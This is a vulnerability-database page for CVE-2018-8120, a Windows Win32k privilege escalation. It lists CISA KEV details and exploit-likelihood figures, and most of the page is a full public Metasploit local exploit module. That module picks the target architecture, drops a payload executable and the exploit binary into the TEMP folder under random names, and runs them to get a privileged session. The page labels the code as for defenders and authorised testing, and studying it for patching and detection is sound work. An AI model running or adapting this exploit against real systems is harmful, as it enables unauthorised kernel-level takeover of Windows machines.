CVE-2018-8120
unknown
KEV
CVSS v3
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CVSS v4 NEW
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VIR risk
2.5
Description
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory.
CISA KEV
- Vendor
- Microsoft
- Product
- Win32k
- Due date
- 2022-04-05
Predictions
Exploit likelihood
99%
Patch ETA
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Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Microsoft Windows - SetImeInfoEx Win32k NULL Pointer Dereference (Metasploit)
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Post::Windows::Priv
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => 'Windows SetImeInfoEx Win32k NULL Pointer Dereference',
'Description' => %q{
This module exploits elevation of privilege vulnerability that exists in Windows 7 and 2008 R2
when the Win32k component fails to properly handle objects in memory. An attacker who
successfully exploited this vulnerability could run arbitrary code in kernel mode. An
attacker could then install programs; view, change, or delete data; or create new
accounts with full user rights.
This module is tested against windows 7 x86, windows 7 x64 and windows server 2008 R2 standard x64.
},
'License' => MSF_LICENSE,
'Author' => [
'unamer', # Exploit PoC
'bigric3', # Analysis and exploit
'Anton Cherepanov', # Vulnerability discovery
'Dhiraj Mishra <dhiraj@notsosecure.com>' # Metasploit
],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Automatic', {} ],
[ 'Windows 7 x64', { 'Arch' => ARCH_X64 } ],
[ 'Windows 7 x86', { 'Arch' => ARCH_X86 } ]
],
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
['BID', '104034'],
['CVE', '2018-8120'],
['URL', 'https://github.com/unamer/CVE-2018-8120'],
['URL', 'https://github.com/bigric3/cve-2018-8120'],
['URL', 'http://bigric3.blogspot.com/2018/05/cve-2018-8120-analysis-and-exploit.html'],
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8120']
],
'DisclosureDate' => 'May 9 2018',
'DefaultTarget' => 0
))
end
def assign_target
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
if sysinfo['OS'] =~ /XP|NT/i
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
end
return target unless target.name == 'Automatic'
case sysinfo['Architecture']
when 'x64'
vprint_status('Targeting x64 system')
return targets[1]
when 'x86'
fail_with(Failure::BadConfig, "Invalid payload architecture") if payload_instance.arch.first == ARCH_X64
vprint_status('Targeting x86 system')
return targets[2]
end
end
def write_file_to_target(fname, data)
tempdir = session.sys.config.getenv('TEMP')
file_loc = "#{tempdir}\\#{fname}"
vprint_warning("Attempting to write #{fname} to #{tempdir}")
write_file(file_loc, data)
vprint_good("#{fname} written")
file_loc
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
fail_with(Failure::Unknown, "Writing #{fname} to disk was unsuccessful")
end
def check_arch
sys_arch = assign_target
if sys_arch.name =~ /x86/
return 'CVE-2018-8120x86.exe'
else sys_arch.name =~ /x64/
return 'CVE-2018-8120x64.exe'
end
end
def exploit
cve_fname = check_arch
rexe = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-8120', cve_fname)
vprint_status("Reading payload from file #{rexe}")
raw = File.read(rexe)
rexename = "#{Rex::Text.rand_text_alphanumeric(10)}.exe"
vprint_status("EXE's name is: #{rexename}")
exe = generate_payload_exe
tempexename = "#{Rex::Text.rand_text_alpha(6..14)}.exe"
exe_payload = write_file_to_target(tempexename, exe)
vprint_status("Payload uploaded to temp folder")
cve_exe = write_file_to_target(rexename, raw)
command = "\"#{cve_exe}\" \"#{exe_payload}\""
vprint_status("Location of CVE-2018-8120.exe is: #{cve_exe}")
register_file_for_cleanup(exe_payload)
vprint_status("Executing command : #{command}")
cmd_exec_get_pid(command)
print_good('Exploit finished, wait for privileged payload execution to complete.')
end
end
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References
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